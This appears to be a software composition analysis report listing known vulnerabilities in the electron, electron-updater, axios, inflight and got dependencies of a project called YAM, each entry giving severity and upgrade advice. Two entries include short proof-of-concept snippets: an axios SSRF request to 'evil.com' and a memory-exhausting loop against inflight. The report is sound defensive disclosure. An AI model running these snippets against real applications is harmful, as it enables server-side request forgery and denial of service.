  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Denial of Service (DoS) due to insufficient validation of untrusted input in V8.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade electron to version 18.3.14 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Denial of Service (DoS) due to type confusion in V8, which allows a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 19.1.7, 20.3.7 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Denial of Service (DoS) via an Out of bounds memory access in V8.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade electron to version 27.3.6, 28.2.7, 29.1.2 or higher.

References

high severity

Improper Verification of Cryptographic Signature

  • Vulnerable module: electron-updater
  • Introduced through: electron-updater@5.3.0

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a electron-updater@5.3.0
    Remediation: Upgrade to electron-updater@6.3.0.

Overview

electron-updater is a module allowing applications to implement auto-update functionality.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature through the windowsExecutableCodeSignatureVerifier process. An attacker in control of an update manifest - via server compromise or other exploitation - can bypass signature verification of a downloaded file by tricking the application into verifying the signature on a different file instead.

Note: This is only exploitable on Windows.

Remediation

Upgrade electron-updater to version 6.3.0-alpha.6 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in WebGPU.

Remediation

Upgrade electron to version 16.2.5, 17.4.3 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in Crashpad in Google Chrome on Android, which allows a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page.

Remediation

Upgrade electron to version 19.1.7, 20.3.7 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in Network Service via a crafted HTML page and specific interactions.

Remediation

Upgrade electron to version 20.3.10, 21.3.5 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in Metrics by allowing a remote attacker who had compromised the renderer process to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 21.4.4, 22.3.5 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in vp8 encoding in libvpx.

Remediation

Upgrade electron to version 22.3.25, 24.8.5, 25.8.4, 26.2.4, 27.0.0-beta.8 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the WebRTC framework, used to provide Real-Time Communications (RTC) capabilities via JavaScript APIs.

Remediation

Upgrade electron to version 26.6.3, 27.2.0, 28.1.0 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the ANGLE process. An attacker can perform an out of bounds memory read via a crafted HTML page.

Remediation

Upgrade electron to version 29.4.3 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the Dawn process. An attacker can perform an out of bounds memory write by exploiting a crafted HTML page.

Remediation

Upgrade electron to version 29.4.3 or higher.

References

high severity

Type Confusion

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion due to a type confusion in V8. A remote attacker could exploit heap corruption via a crafted HTML page.

Note: The Stable channel has been updated to 120.0.6099.234 for Mac devices.

Remediation

Upgrade electron to version 26.6.6, 27.2.3, 28.1.4 or higher.

References

high severity

Cross-site Request Forgery (CSRF)

  • Vulnerable module: axios
  • Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/f95api@2.0.0-beta.13.2 axios@0.26.1

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to inserting the X-XSRF-TOKEN header using the secret XSRF-TOKEN cookie value in all requests to any server when the XSRF-TOKEN0 cookie is available, and the withCredentials setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.

Workaround

Users should change the default XSRF-TOKEN cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.

Remediation

Upgrade axios to version 0.28.0, 1.6.0 or higher.

References

high severity

Out-of-bounds Read

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Read in WebRTC, exploitable via a crafted HTML page.

Remediation

Upgrade electron to version 22.3.16 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the Media Stream process. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Remediation

Upgrade electron to version 26.6.3, 27.2.0 or higher.

References

high severity

Out-of-bounds Read

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Read in Skia.

Remediation

Upgrade electron to version 31.7.2, 32.2.2 or higher.

References

medium severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/f95api@2.0.0-beta.13.2 axios@0.26.1

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the data: URL handler. An attacker can trigger a denial of service by crafting a data: URL with an excessive payload, causing allocation of memory for content decoding before verifying content size limits.

Remediation

Upgrade axios to version 1.12.0 or higher.

References

medium severity

Access of Resource Using Incompatible Type ('Type Confusion')

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') via a crafted HTML page. An attacker can potentially exploit heap corruption.

Remediation

Upgrade electron to version 31.7.4, 32.2.3 or higher.

References

medium severity

Access of Resource Using Incompatible Type ('Type Confusion')

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') via a crafted HTML page. An attacker can potentially exploit heap corruption.

Remediation

Upgrade electron to version 32.2.3 or higher.

References

medium severity

Access Restriction Bypass

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Access Restriction Bypass due to an inappropriate implementation in the Extensions feature. An attacker can bypass site isolation.

Remediation

Upgrade electron to version 31.7.5, 32.2.5, 33.2.1 or higher.

References

medium severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in Fonts.

Remediation

Upgrade electron to version 31.7.2 or higher.

References

medium severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow through the V8 engine.

Remediation

Upgrade electron to version 31.7.2 or higher.

References

medium severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in v8, when processing a very large number of parameters.

Remediation

Upgrade electron to version 32.3.2, 33.4.2 or higher.

References

medium severity

Improper Isolation or Compartmentalization

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Improper Isolation or Compartmentalization that allows an attacker who can convince a user to follow a malicious link to escape sandbox protections, due to a logic error in the Mojo component. This vulnerability does not enable code execution on its own, but is presumed chainable with another vulnerability to achieve code execution and has been observed in the wild.

Note: This vulnerability is only exploitable on Windows.

Remediation

Upgrade electron to version 33.4.8, 34.4.1, 35.1.2 or higher.

References

medium severity

Integer Overflow or Wraparound

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Integer Overflow or Wraparound via an incorrect count being passed to InstructionAccurateScope in the V8 engine. An attacker can cause heap corruption by enticing a user to visit a specially crafted HTML page.

Remediation

Upgrade electron to version 37.2.4 or higher.

References

medium severity

Type Confusion

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion. An attacker can access memory locations outside of the intended bounds by crafting a malicious HTML page that triggers type confusion in the V8 engine.

Remediation

Upgrade electron to version 31.7.2 or higher.

References

medium severity

Integer Overflow or Wraparound

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Integer Overflow or Wraparound when decoding videos with a large frame size. An attacker can cause memory corruption within the AV1 decoder by providing a specially crafted video file.

Remediation

Upgrade electron to version 27.3.11, 28.3.1 or higher.

References

medium severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via Angle, where base level changes may not update FBO completeness check.

Remediation

Upgrade electron to version 16.2.0 or higher.

References

medium severity

Domain Spoofing

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Domain Spoofing via a crafted HTML page as a result of inappropriate implementation in navigation in Google Chrome.

Remediation

Upgrade electron to version 16.0.0 or higher.

References

medium severity

Improper Input Validation

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Improper Input Validation in Data Transfer, because the sanitization code only does one round of parsing and serializing.

Remediation

Upgrade electron to version 17.4.8, 18.3.5 or higher.

References

medium severity

Improper Input Validation

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Improper Input Validation in file system.

Remediation

Upgrade electron to version 19.1.5, 21.2.2 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/f95api@2.0.0-beta.13.2 axios@0.26.1

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls attribute being ignored in the call to the buildFullPath function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.

PoC

const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');

Remediation

Upgrade axios to version 0.30.0, 1.8.2 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/f95api@2.0.0-beta.13.2 axios@0.26.1

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls to false by default when processing a requested URL in buildFullPath(). It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.

Remediation

Upgrade axios to version 0.30.0, 1.8.3 or higher.

References

medium severity

Race Condition

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Race Condition via a crafted Chrome Extension. An attacker who convinced a user to install a malicious extension can inject scripts or HTML into a privileged page.

Remediation

Upgrade electron to version 29.4.6, 30.4.0 or higher.

References

medium severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the xmlTextReader module. An attacker can cause denial of service by processing crafted XML documents with DTD validation and XInclude expansion enabled.

Remediation

Upgrade electron to version 27.3.5, 28.2.6 or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: glob@8.1.0 and @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a glob@8.1.0 inflight@1.0.6
  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 node-ipc@10.1.0 event-pubsub@5.0.3 copyfiles@2.4.1 glob@7.2.3 inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

Insufficient Verification of Data Authenticity

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity when the embeddedAsarIntegrityValidation and onlyLoadAppFromAsar fuses are enabled.

An attacker can edit files inside the .app bundle on macOS, which these fuses are supposed to protect against, by gaining write access to the filesystem from which the app is launched.

Note

This is only exploitable if your app is launched from a filesystem the attacker has write access to and is specific to macOS, as these fuses are only supported on macOS.

Remediation

Upgrade electron to version 22.3.24, 24.8.3, 25.8.1, 26.2.1 or higher.

References

medium severity

Access Control Bypass

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Access Control Bypass due to insufficient policy enforcement in Cookies.

Remediation

Upgrade electron to version 18.3.9, 19.0.12 or higher.

References

medium severity

Protection Mechanism Failure

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Protection Mechanism Failure in File System API.

Remediation

Upgrade electron to version 17.4.9, 18.3.6, 19.0.7 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Information Exposure in that it reveals hashed credentials when the target of a redirect is an SMB URL, such as one using the file:// scheme.

NOTE: This vulnerability is only exploitable on Windows.

Workaround

This vulnerability can be worked around by preventing redirects to file:// URLs in the WebContents.on('will-redirect') event.

Remediation

Upgrade electron to version 18.3.7, 19.0.11, 20.0.1 or higher.

References

medium severity

Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Buffer Overflow when changing the PDF layout confuses AddFindResult() and causes it to fail a DCHECK()

Remediation

Upgrade electron to version 18.3.8, 19.0.13 or higher.

References

medium severity

Inappropriate implementation

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Inappropriate implementation in WebGL.

Remediation

Upgrade electron to version 16.2.5, 17.4.3 or higher.

References

medium severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow. The nativeImage.createFromPath or nativeImage.createFromBuffer APIs in Electron, which make use of Chromium's JPEGCodec::Decode, are vulnerable to a heap-based buffer overflow. An attacker can execute arbitrary code or cause a crash by supplying specially crafted image data.

Remediation

Upgrade electron to version 28.3.2, 29.3.3, 30.0.3 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: got
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7 @electron/get@1.14.1 got@9.6.0

Overview

Affected versions of this package are vulnerable to Open Redirect due to missing verification of requested URLs. It allowed a victim to be redirected to a UNIX socket.

Remediation

Upgrade got to version 11.8.5, 12.1.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/f95api@2.0.0-beta.13.2 axios@0.26.1

Overview

axios is a promise-based HTTP client for the browser and Node.js.

